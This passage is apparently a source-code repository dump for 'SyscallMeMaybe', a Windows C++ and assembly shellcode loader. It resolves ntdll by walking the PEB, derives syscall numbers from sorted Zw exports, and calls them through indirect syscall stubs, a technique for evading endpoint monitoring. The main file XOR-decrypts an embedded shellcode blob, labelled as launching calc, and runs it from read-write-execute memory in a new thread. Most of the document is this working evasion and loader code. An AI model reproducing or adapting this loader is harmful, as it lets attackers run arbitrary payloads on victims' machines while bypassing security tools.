| ULONG Flags; 62 | ULONG NameOffset; 63 | ULONG NameLength; 64 | ULONG ValueOffset; 65 | ULONG ValueLength; 66 | } API_SET_VALUE_ENTRY, * PAPI_SET_VALUE_ENTRY; 67 | 68 | // https://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html 69 | 70 | typedef struct _PEB_LDR_DATA { 71 | ULONG Length; 72 | ULONG Initialized; 73 | PVOID SsHandle; 74 | LIST_ENTRY InLoadOrderModuleList; 75 | LIST_ENTRY InMemoryOrderModuleList; 76 | LIST_ENTRY InInitializationOrderModuleList; 77 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 78 | 79 | 80 | 81 | // https://www.nirsoft.net/kernel_struct/vista/LDR_DATA_TABLE_ENTRY.html 82 | 83 | typedef struct _LDR_DATA_TABLE_ENTRY { 84 | LIST_ENTRY InLoadOrderLinks; 85 | LIST_ENTRY InMemoryOrderLinks; 86 | LIST_ENTRY InInitializationOrderLinks; 87 | PVOID DllBase; 88 | PVOID EntryPoint; 89 | ULONG SizeOfImage; 90 | UNICODE_STRING FullDllName; 91 | UNICODE_STRING BaseDllName; 92 | ULONG Flags; 93 | WORD LoadCount; 94 | WORD TlsIndex; 95 | union { 96 | LIST_ENTRY HashLinks; 97 | struct { 98 | PVOID SectionPointer; 99 | ULONG CheckSum; 100 | }; 101 | }; 102 | union { 103 | ULONG TimeDateStamp; 104 | PVOID LoadedImports; 105 | }; 106 | PACTIVATION_CONTEXT EntryPointActivationContext; 107 | PVOID PatchInformation; 108 | LIST_ENTRY ForwarderLinks; 109 | LIST_ENTRY ServiceTagLinks; 110 | LIST_ENTRY StaticLinks; 111 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; 112 | 113 | 114 | 115 | // https://github.com/processhacker/phnt/blob/master/ntpebteb.h#L69 116 | //https://github.com/winsiderss/systeminformer/blob/2c9dd8765011a85fd98774cb37ff4ef52923d8c1/phnt/include/ntpebteb.h#L83 117 | typedef struct _PEB 118 | { 119 | BOOLEAN InheritedAddressSpace; 120 | BOOLEAN ReadImageFileExecOptions; 121 | BOOLEAN BeingDebugged; 122 | union 123 | { 124 | BOOLEAN BitField; 125 | struct 126 | { 127 | BOOLEAN ImageUsesLargePages : 1; 128 | BOOLEAN IsProtectedProcess : 1; 129 | BOOLEAN IsImageDynamicallyRelocated : 1; 130 | BOOLEAN SkipPatchingUser32Forwarders : 1; 131 | BOOLEAN IsPackagedProcess : 1; 132 | BOOLEAN IsAppContainer : 1; 133 | BOOLEAN IsProtectedProcessLight : 1; 134 | BOOLEAN IsLongPathAwareProcess : 1; 135 | }; 136 | }; 137 | 138 | HANDLE Mutant; 139 | 140 | PVOID ImageBaseAddress; 141 | PPEB_LDR_DATA Ldr; 142 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 143 | PVOID SubSystemData; 144 | PVOID ProcessHeap; 145 | PRTL_CRITICAL_SECTION FastPebLock; 146 | PSLIST_HEADER AtlThunkSListPtr; 147 | PVOID IFEOKey; 148 | 149 | union 150 | { 151 | ULONG CrossProcessFlags; 152 | struct 153 | { 154 | ULONG ProcessInJob : 1; 155 | ULONG ProcessInitializing : 1; 156 | ULONG ProcessUsingVEH : 1; 157 | ULONG ProcessUsingVCH : 1; 158 | ULONG ProcessUsingFTH : 1; 159 | ULONG ProcessPreviouslyThrottled : 1; 160 | ULONG ProcessCurrentlyThrottled : 1; 161 | ULONG ProcessImagesHotPatched : 1; // REDSTONE5 162 | ULONG ReservedBits0 : 24; 163 | }; 164 | }; 165 | union 166 | { 167 | PVOID KernelCallbackTable; 168 | PVOID UserSharedInfoPtr; 169 | }; 170 | ULONG SystemReserved; 171 | ULONG AtlThunkSListPtr32; 172 | PAPI_SET_NAMESPACE ApiSetMap; 173 | ULONG TlsExpansionCounter; 174 | PVOID TlsBitmap; 175 | ULONG TlsBitmapBits[2]; 176 | 177 | PVOID ReadOnlySharedMemoryBase; 178 | PVOID SharedData; // HotpatchInformation 179 | PVOID* ReadOnlyStaticServerData; 180 | 181 | PVOID AnsiCodePageData; // PCPTABLEINFO 182 | PVOID OemCodePageData; // PCPTABLEINFO 183 | PVOID UnicodeCaseTableData; // PNLSTABLEINFO 184 | 185 | ULONG NumberOfProcessors; 186 | ULONG NtGlobalFlag; 187 | 188 | ULARGE_INTEGER CriticalSectionTimeout; 189 | SIZE_T HeapSegmentReserve; 190 | SIZE_T HeapSegmentCommit; 191 | SIZE_T HeapDeCommitTotalFreeThreshold; 192 | SIZE_T HeapDeCommitFreeBlockThreshold; 193 | 194 | ULONG NumberOfHeaps; 195 | ULONG MaximumNumberOfHeaps; 196 | PVOID* ProcessHeaps; // PHEAP 197 | 198 | PVOID GdiSharedHandleTable; 199 | PVOID ProcessStarterHelper; 200 | ULONG GdiDCAttributeList; 201 | 202 | PRTL_CRITICAL_SECTION LoaderLock; 203 | 204 | ULONG OSMajorVersion; 205 | ULONG OSMinorVersion; 206 | USHORT OSBuildNumber; 207 | USHORT OSCSDVersion; 208 | ULONG OSPlatformId; 209 | ULONG ImageSubsystem; 210 | ULONG ImageSubsystemMajorVersion; 211 | ULONG ImageSubsystemMinorVersion; 212 | KAFFINITY ActiveProcessAffinityMask; 213 | ULONG GdiHandleBuffer[60]; 214 | PVOID PostProcessInitRoutine; 215 | 216 | PVOID TlsExpansionBitmap; 217 | ULONG TlsExpansionBitmapBits[32]; 218 | 219 | ULONG SessionId; 220 | 221 | ULARGE_INTEGER AppCompatFlags; 222 | ULARGE_INTEGER AppCompatFlagsUser; 223 | PVOID pShimData; 224 | PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA 225 | 226 | UNICODE_STRING CSDVersion; 227 | 228 | PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA 229 | PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP 230 | PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA 231 | PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP 232 | 233 | SIZE_T MinimumStackCommit; 234 | 235 | PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) 236 | PVOID PatchLoaderData; 237 | PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO 238 | 239 | ULONG AppModelFeatureState; 240 | ULONG SpareUlongs[2]; 241 | 242 | USHORT ActiveCodePage; 243 | USHORT OemCodePage; 244 | USHORT UseCaseMapping; 245 | USHORT UnusedNlsField; 246 | 247 | PVOID WerRegistrationData; 248 | PVOID WerShipAssertPtr; 249 | 250 | union 251 | { 252 | PVOID pContextData; // WIN7 253 | PVOID pUnused; // WIN10 254 | PVOID EcCodeBitMap; // WIN11 255 | }; 256 | 257 | PVOID pImageHeaderHash; 258 | union 259 | { 260 | ULONG TracingFlags; 261 | struct 262 | { 263 | ULONG HeapTracingEnabled : 1; 264 | ULONG CritSecTracingEnabled : 1; 265 | ULONG LibLoaderTracingEnabled : 1; 266 | ULONG SpareTracingBits : 29; 267 | }; 268 | }; 269 | ULONGLONG CsrServerReadOnlySharedMemoryBase; 270 | PRTL_CRITICAL_SECTION TppWorkerpListLock; 271 | LIST_ENTRY TppWorkerpList; 272 | PVOID WaitOnAddressHashTable[128]; 273 | PVOID TelemetryCoverageHeader; // REDSTONE3 274 | ULONG CloudFileFlags; 275 | ULONG CloudFileDiagFlags; // REDSTONE4 276 | CHAR PlaceholderCompatibilityMode; 277 | CHAR PlaceholderCompatibilityModeReserved[7]; 278 | struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 279 | union 280 | { 281 | ULONG LeapSecondFlags; 282 | struct 283 | { 284 | ULONG SixtySecondEnabled : 1; 285 | ULONG Reserved : 31; 286 | }; 287 | }; 288 | ULONG NtGlobalFlag2; 289 | ULONGLONG ExtendedFeatureDisableMask; // since WIN11 290 | } PEB, * PPEB; 291 | 292 | 293 | 294 | 295 | 296 | #pragma once 297 | -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe/SyscallMeMaybe.cpp: -------------------------------------------------------------------------------- 1 | // SysCallElClassico.cpp 2 | // we want to find all the Zw function and order them so that we can get the right syscall 3 | // so parsing the ntdll.dll in memory and retrieve the list of all the functions 4 | // using custom GetProcAddress and GetModuleHandle 5 | // 6 | 7 | #include 8 | #include 9 | #include "Structs.h" 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include "Syscalls.h" 16 | 17 | typedef unsigned __int64 QWORD, * PQWORD; 18 | #define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) 19 | #define ZwCurrentProcess() NtCurrentProcess() 20 | 21 | //gloabl variables 22 | BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; 23 | std::unordered_map zwFunctions; 24 | extern "C" DWORD SSN = 0; 25 | extern "C" QWORD SYSCALLADDR = 0; 26 | 27 | //lowercase wide string 28 | LPWSTR ToLowerCaseWIDE(LPCWSTR str) { 29 | 30 | static WCHAR lowStr[MAX_PATH]; 31 | size_t i = 0; 32 | 33 | while (str[i] != L'\0') { 34 | if (str[i] >= L'A' && str[i] <= L'Z') { 35 | lowStr[i] = str[i] + 32; // Convert uppercase to lowercase 36 | } 37 | else { 38 | lowStr[i] = str[i]; 39 | } 40 | i++; 41 | } 42 | lowStr[i] = L'\0'; 43 | return lowStr; 44 | } 45 | 46 | //return random integer within a range 47 | int randomInt(int max) { 48 | 49 | // Providing a seed value 50 | srand((unsigned)time(NULL)); 51 | // Get a random number 52 | int random = 1 + (rand() % max); 53 | return random; 54 | } 55 | 56 | //return random pair object from map 57 | std::pair randomMapElement(std::unordered_map zwFunctions) { 58 | 59 | auto it = zwFunctions.begin(); 60 | std::advance(it, randomInt((int)zwFunctions.size())); 61 | return *it; 62 | } 63 | 64 | //create new comparator 65 | bool sortByAddr(std::pair &a, std::pair &b) { 66 | 67 | return (a.second.addr < b.second.addr); 68 | 69 | } 70 | 71 | //sort map with custom comparator 72 | std::unordered_map sortMap(std::vector> vec) { 73 | 74 | //sorting vector by memory addr 75 | sort(vec.begin(),vec.end(), sortByAddr); 76 | //assigning SSN 77 | for (int i = 0; i < vec.size(); i++) { 78 | vec[i].second.ssn = i; 79 | } 80 | //creating map for easy access 81 | std::unordered_map sortedMap; 82 | for (auto& pair : vec) { 83 | // Inserting into the map with the first element of the pair as the key 84 | sortedMap[pair.first] = pair.second; 85 | } 86 | return sortedMap; 87 | } 88 | 89 | //retrieve syscall instructions address 90 | PBYTE retrieveSCAddr(PBYTE funcStar) { 91 | 92 | int emergencybreak = 0; 93 | while (funcStar && emergencybreak < 2048) { 94 | //taking into account indianess crazyness 95 | if (funcStar[0] == syscall_code[0] && funcStar[1] == syscall_code[1] && funcStar[2] == syscall_code[2]) { 96 | 97 | return funcStar; 98 | } 99 | funcStar++; 100 | emergencybreak++; 101 | } 102 | return NULL; 103 | } 104 | 105 | //we all know what this is about 106 | HMODULE GetModuleHandleOb(LPCWSTR szModuleName) { 107 | 108 | PPEB pPeb = (PEB*)(__readgsqword(0x60)); 109 | 110 | 111 | PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); 112 | PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); 113 | 114 | while (pDte) { 115 | 116 | if (pDte->FullDllName.Length != NULL) { 117 | 118 | if (wcscmp(ToLowerCaseWIDE(pDte->FullDllName.Buffer),szModuleName)==0) { 119 | 120 | return (HMODULE)(pDte->InInitializationOrderLinks.Flink); 121 | } 122 | } 123 | else { 124 | break; 125 | } 126 | pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); 127 | 128 | } 129 | 130 | return NULL; 131 | } 132 | 133 | //parse ntdll.dll in memory in order to retrieve all the ZwFunctions 134 | std::unordered_map findZWFunctions(IN HMODULE hModule) { 135 | 136 | PBYTE syscallAddr = NULL; 137 | std::vector> vec; 138 | PBYTE pBase = (PBYTE)hModule; 139 | PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; 140 | 141 | if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) 142 | return {}; 143 | 144 | PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); 145 | if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) 146 | return {}; 147 | 148 | IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; 149 | PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 150 | 151 | PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); 152 | PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); 153 | PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); 154 | 155 | for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { 156 | 157 | CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); 158 | if (strncmp(pFunctionName, "Zw", 2) == 0) { 159 | syscallAddr = retrieveSCAddr((PBYTE)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]])); 160 | ZW_ATTR attr = {0, (FARPROC)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]), syscallAddr }; 161 | vec.push_back({ pFunctionName, attr }); 162 | } 163 | } 164 | return sortMap(vec); 165 | } 166 | 167 | //simple xor function 168 | VOID OBXOR(PBYTE pShellcode, SIZE_T sShellcodeSize, PBYTE bKey, SIZE_T sKeySize) { 169 | for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) { 170 | if (j >= sKeySize) { 171 | j = 0; 172 | } 173 | pShellcode[i] = pShellcode[i] ^ bKey[j]; 174 | } 175 | } 176 | 177 | //prep syscall ops 178 | VOID prepSysCall(const char* ZwFunction) { 179 | 180 | SSN = (DWORD)zwFunctions[ZwFunction].ssn; 181 | do { 182 | SYSCALLADDR = (QWORD)randomMapElement(zwFunctions).second.syscallc; 183 | } while (SYSCALLADDR == 0); 184 | } 185 | 186 | //x64 calc exec 187 | unsigned char Payload[] = 188 | "\x56\x09\xC6\x28\x5A\xA9\x85\xCC\xAA\x41\x04\x9D\xEB\x11" 189 | "\x17\x9D\xFC\x09\x74\x1E\xCF\x09\xCE\x9E\xCA\x09\xCE\x9E" 190 | "\xB2\x09\xCE\x9E\x8A\x09\xCE\xBE\xFA\x09\x4A\x7B\xE0\x0B" 191 | "\x08\xFD\x63\x09\x74\x0C\x06\x7D\x24\xB0\xA8\x6D\x65\x8D" 192 | "\x6B\x88\x48\x8D\xAB\x80\xA7\x21\xF8\x00\x14\x84\x21\x13" 193 | "\x65\x47\xE8\x7D\x0D\xCD\x7A\xCA\xC5\x44\xAA\x41\x45\x84" 194 | "\x2F\x81\x31\xAB\xE2\x40\x95\x9C\x21\x09\x5D\x88\x21\x01" 195 | "\x65\x85\xAB\x91\xA6\x9A\xE2\xBE\x8C\x8D\x21\x75\xCD\x84" 196 | "\xAB\x97\x08\xFD\x63\x09\x74\x0C\x06\x00\x84\x05\xA7\x00" 197 | "\x44\x0D\x92\xA1\x30\x3D\xE6\x42\x09\xE8\xA2\x04\x7C\x1D" 198 | "\xDF\x99\x1D\x88\x21\x01\x61\x85\xAB\x91\x23\x8D\x21\x4D" 199 | "\x0D\x88\x21\x01\x59\x85\xAB\x91\x04\x47\xAE\xC9\x0D\xCD" 200 | "\x7A\x00\x1D\x8D\xF2\x1F\x1C\x96\xEB\x19\x04\x95\xEB\x1B" 201 | "\x0D\x4F\x46\x61\x04\x9E\x55\xA1\x1D\x8D\xF3\x1B\x0D\x47" 202 | "\xB8\xA8\x12\x33\x55\xBE\x18\x84\x10\x40\x45\xCC\xAA\x41" 203 | "\x45\xCC\xAA\x09\xC8\x41\xAB\x40\x45\xCC\xEB\xFB\x74\x47" 204 | "\xC5\xC6\xBA\x19\x11\xA1\x58\xE6\xA0\x00\xFF\x6A\x3F\xFC" 205 | "\xD8\x33\x7F\x09\xC6\x08\x82\x7D\x43\xB0\xA0\xC1\xBE\x2C" 206 | "\xDF\x44\xFE\x8B\xB9\x33\x2A\xA6\xAA\x18\x04\x45\x70\xBE" 207 | "\x90\xAF\xCB\x2D\x26\xCC"; 208 | 209 | BOOL executePayload(std::unordered_map zwFunctions, unsigned char payload[], SIZE_T payloadSize) { 210 | 211 | // allocating memory 212 | PVOID pAddress = NULL; 213 | //A pointer to a variable that will receive the actual size, in bytes, of the allocated region of pages 214 | //The initial value of this parameter specifies the size, in bytes, of the region and is rounded up to the next host page size boundary 215 | SIZE_T sSize = payloadSize; 216 | NTSTATUS STATUS = 0x00; 217 | SIZE_T sNumberOfBytesWritten = NULL; 218 | HANDLE hThread = NULL; 219 | ULONG uOldProtection = NULL; 220 | 221 | prepSysCall("ZwAllocateVirtualMemory"); 222 | if ((STATUS = ZwAllocateVirtualMemory(ZwCurrentProcess(), &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) { 223 | printf("[-] Error while allocating memory. Code: %lu \n", STATUS); 224 | return FALSE; 225 | } 226 | printf("[+] Address of allocated memory: 0x%p\n", pAddress); 227 | /*--------------------------------------------------------------------*/ 228 | prepSysCall("ZwWriteVirtualMemory"); 229 | if ((STATUS = ZwWriteVirtualMemory(ZwCurrentProcess(), pAddress, payload, payloadSize, &sNumberOfBytesWritten)) != 0) { 230 | printf("[-] Error while writing virtual memory. Code: %lu \n", STATUS); 231 | return FALSE; 232 | } 233 | printf("[+] Payload written successfully\n"); 234 | /*--------------------------------------------------------------------*/ 235 | prepSysCall("ZwProtectVirtualMemory"); 236 | if ((STATUS = ZwProtectVirtualMemory(ZwCurrentProcess(), &pAddress, &payloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { 237 | printf("[-] Error while changing memory protections. Code: %lu \n", STATUS); 238 | return FALSE; 239 | } 240 | printf("[+] Memory is now RWX\n"); 241 | /*--------------------------------------------------------------------*/ 242 | prepSysCall("ZwCreateThreadEx"); 243 | if ((STATUS = ZwCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, ZwCurrentProcess(), pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) { 244 | printf("[!] Error while creating thread. Code: %lu \n", STATUS); 245 | return FALSE; 246 | } 247 | printf("[+] Executed thread with Id : %d\n", GetThreadId(hThread)); 248 | 249 | WaitForSingleObject(hThread,0xFFFFFFFF); 250 | return TRUE; 251 | } 252 | 253 | int main() 254 | { 255 | BYTE key[] = { 0xAA, 0x41, 0x45, 0xCC }; 256 | size_t key_size = sizeof(key); 257 | //get ntdll handle 258 | HMODULE ntdllBase = GetModuleHandleOb(L"ntdll.dll"); 259 | if (ntdllBase == NULL) { 260 | std::cerr << "[-] Error while getting an handle on NTDLL.dll" << std::endl; 261 | return 1; 262 | } 263 | //fill the map with the zwfunctions objects 264 | zwFunctions = findZWFunctions(ntdllBase); 265 | if (zwFunctions.size() == 0) { 266 | std::cerr << "[-] Error while retrieving ZW functions" << std::endl; 267 | return 1; 268 | } 269 | //decrypt payload 270 | OBXOR(Payload, sizeof(Payload), key, key_size); 271 | //execute payload via indirect syscall 272 | if (executePayload(zwFunctions, Payload, sizeof(Payload))) { 273 | std::cout << "[+] Shellcode ran successufully, ciao grande!" << std::endl; 274 | } 275 | return 0; 276 | } -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe/SyscallMeMaybe.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.7.34221.43 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SysCallElClassico", "SysCallElClassico.vcxproj", "{2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x64.ActiveCfg = Debug|x64 17 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x64.Build.0 = Debug|x64 18 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x86.ActiveCfg = Debug|Win32 19 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Debug|x86.Build.0 = Debug|Win32 20 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x64.ActiveCfg = Release|x64 21 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x64.Build.0 = Release|x64 22 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x86.ActiveCfg = Release|Win32 23 | {2B69BF02-6C1F-4A98-A5AC-3EF16B7D70C3}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4CD8FE2F-C211-4864-8B3B-E7498EACED11} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe/Syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct _PS_ATTRIBUTE 6 | { 7 | ULONG Attribute; 8 | SIZE_T Size; 9 | union 10 | { 11 | ULONG Value; 12 | PVOID ValuePtr; 13 | } u1; 14 | PSIZE_T ReturnLength; 15 | } PS_ATTRIBUTE, * PPS_ATTRIBUTE; 16 | 17 | typedef struct _OBJECT_ATTRIBUTES 18 | { 19 | ULONG Length; 20 | PVOID RootDirectory; 21 | PUNICODE_STRING ObjectName; 22 | ULONG Attributes; 23 | PVOID SecurityDescriptor; 24 | PVOID SecurityQualityOfService; 25 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 26 | 27 | typedef struct _PS_ATTRIBUTE_LIST 28 | { 29 | SIZE_T TotalLength; 30 | PS_ATTRIBUTE Attributes[1]; 31 | } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; 32 | 33 | 34 | EXTERN_C NTSTATUS ZwAllocateVirtualMemory( 35 | IN HANDLE ProcessHandle, 36 | IN OUT PVOID* BaseAddress, 37 | IN ULONG ZeroBits, 38 | IN OUT PSIZE_T RegionSize, 39 | IN ULONG AllocationType, 40 | IN ULONG Protect); 41 | 42 | EXTERN_C NTSTATUS ZwProtectVirtualMemory( 43 | IN HANDLE ProcessHandle, 44 | IN OUT PVOID* BaseAddress, 45 | IN OUT PSIZE_T RegionSize, 46 | IN ULONG NewProtect, 47 | OUT PULONG OldProtect); 48 | 49 | EXTERN_C NTSTATUS ZwWriteVirtualMemory( 50 | IN HANDLE ProcessHandle, 51 | IN PVOID BaseAddress, 52 | IN PVOID Buffer, 53 | IN SIZE_T NumberOfBytesToWrite, 54 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL); 55 | 56 | EXTERN_C NTSTATUS ZwCreateThreadEx( 57 | OUT PHANDLE ThreadHandle, 58 | IN ACCESS_MASK DesiredAccess, 59 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 60 | IN HANDLE ProcessHandle, 61 | IN PVOID StartRoutine, 62 | IN PVOID Argument OPTIONAL, 63 | IN ULONG CreateFlags, 64 | IN SIZE_T ZeroBits, 65 | IN SIZE_T StackSize, 66 | IN SIZE_T MaximumStackSize, 67 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); -------------------------------------------------------------------------------- /SyscallMeMaybe/SyscallMeMaybe/syscall.asm: -------------------------------------------------------------------------------- 1 | ; bello code for syscall 2 | 3 | .data 4 | EXTERN SSN: DWORD 5 | EXTERN SYSCALLADDR: QWORD 6 | 7 | .code 8 | ZwAllocateVirtualMemory PROC 9 | mov r10, rcx 10 | mov eax, SSN 11 | jmp SYSCALLADDR 12 | ZwAllocateVirtualMemory ENDP 13 | 14 | ZwWriteVirtualMemory PROC 15 | mov r10, rcx 16 | mov eax, SSN 17 | jmp SYSCALLADDR 18 | ZwWriteVirtualMemory ENDP 19 | 20 | ZwProtectVirtualMemory PROC 21 | mov r10, rcx 22 | mov eax, SSN 23 | jmp SYSCALLADDR 24 | ZwProtectVirtualMemory ENDP 25 | 26 | ZwCreateThreadEx PROC 27 | mov r10, rcx 28 | mov eax, SSN 29 | jmp SYSCALLADDR 30 | ZwCreateThreadEx ENDP 31 | 32 | 33 | end -------------------------------------------------------------------------------- /SyscallMeMaybe/Syscalls.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | typedef struct _PS_ATTRIBUTE 6 | { 7 | ULONG Attribute; 8 | SIZE_T Size; 9 | union 10 | { 11 | ULONG Value; 12 | PVOID ValuePtr; 13 | } u1; 14 | PSIZE_T ReturnLength; 15 | } PS_ATTRIBUTE, * PPS_ATTRIBUTE; 16 | 17 | typedef struct _OBJECT_ATTRIBUTES 18 | { 19 | ULONG Length; 20 | PVOID RootDirectory; 21 | PUNICODE_STRING ObjectName; 22 | ULONG Attributes; 23 | PVOID SecurityDescriptor; 24 | PVOID SecurityQualityOfService; 25 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 26 | 27 | typedef struct _PS_ATTRIBUTE_LIST 28 | { 29 | SIZE_T TotalLength; 30 | PS_ATTRIBUTE Attributes[1]; 31 | } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; 32 | 33 | 34 | EXTERN_C NTSTATUS ZwAllocateVirtualMemory( 35 | IN HANDLE ProcessHandle, 36 | IN OUT PVOID* BaseAddress, 37 | IN ULONG ZeroBits, 38 | IN OUT PSIZE_T RegionSize, 39 | IN ULONG AllocationType, 40 | IN ULONG Protect); 41 | 42 | EXTERN_C NTSTATUS ZwProtectVirtualMemory( 43 | IN HANDLE ProcessHandle, 44 | IN OUT PVOID* BaseAddress, 45 | IN OUT PSIZE_T RegionSize, 46 | IN ULONG NewProtect, 47 | OUT PULONG OldProtect); 48 | 49 | EXTERN_C NTSTATUS ZwWriteVirtualMemory( 50 | IN HANDLE ProcessHandle, 51 | IN PVOID BaseAddress, 52 | IN PVOID Buffer, 53 | IN SIZE_T NumberOfBytesToWrite, 54 | OUT PSIZE_T NumberOfBytesWritten OPTIONAL); 55 | 56 | EXTERN_C NTSTATUS ZwCreateThreadEx( 57 | OUT PHANDLE ThreadHandle, 58 | IN ACCESS_MASK DesiredAccess, 59 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 60 | IN HANDLE ProcessHandle, 61 | IN PVOID StartRoutine, 62 | IN PVOID Argument OPTIONAL, 63 | IN ULONG CreateFlags, 64 | IN SIZE_T ZeroBits, 65 | IN SIZE_T StackSize, 66 | IN SIZE_T MaximumStackSize, 67 | IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); -------------------------------------------------------------------------------- /SyscallMeMaybe/syscall.asm: -------------------------------------------------------------------------------- 1 | ; bello code for syscall 2 | 3 | .data 4 | EXTERN SSN: DWORD 5 | EXTERN SYSCALLADDR: QWORD 6 | 7 | .code 8 | ZwAllocateVirtualMemory PROC 9 | mov r10, rcx 10 | mov eax, SSN 11 | jmp SYSCALLADDR 12 | ZwAllocateVirtualMemory ENDP 13 | 14 | ZwWriteVirtualMemory PROC 15 | mov r10, rcx 16 | mov eax, SSN 17 | jmp SYSCALLADDR 18 | ZwWriteVirtualMemory ENDP 19 | 20 | ZwProtectVirtualMemory PROC 21 | mov r10, rcx 22 | mov eax, SSN 23 | jmp SYSCALLADDR 24 | ZwProtectVirtualMemory ENDP 25 | 26 | ZwCreateThreadEx PROC 27 | mov r10, rcx 28 | mov eax, SSN 29 | jmp SYSCALLADDR 30 | ZwCreateThreadEx ENDP 31 | 32 | 33 | end --------------------------------------------------------------------------------